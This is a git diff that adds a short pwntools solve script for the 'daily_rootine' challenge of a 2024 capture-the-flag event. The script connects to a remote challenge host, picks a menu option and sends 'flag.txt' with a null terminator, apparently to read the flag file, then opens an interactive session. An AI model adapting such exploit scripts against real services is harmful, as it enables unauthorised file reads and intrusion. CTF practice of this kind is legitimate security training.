diff --git a/p3rf3ctr00t_ctf_2024/daily_rootine/a.py b/p3rf3ctr00t_ctf_2024/daily_rootine/a.py new file mode 100644 index 0000000..b3c85d0 --- /dev/null +++ b/p3rf3ctr00t_ctf_2024/daily_rootine/a.py @@ -0,0 +1,17 @@ +#!/usr/bin/python3 + +from pwn import * + +context.binary = target = ELF("./challenge", checksec=False) +# r = process() +r = remote("94.72.112.248", 5050) + +# funcs +s = lambda a: r.sendlineafter(b"> ", a) +ss = lambda a: r.sendline(a) + +# buf +s(b"12") +ss(b"flag.txt\0") + +r.interactive() \ No newline at end of file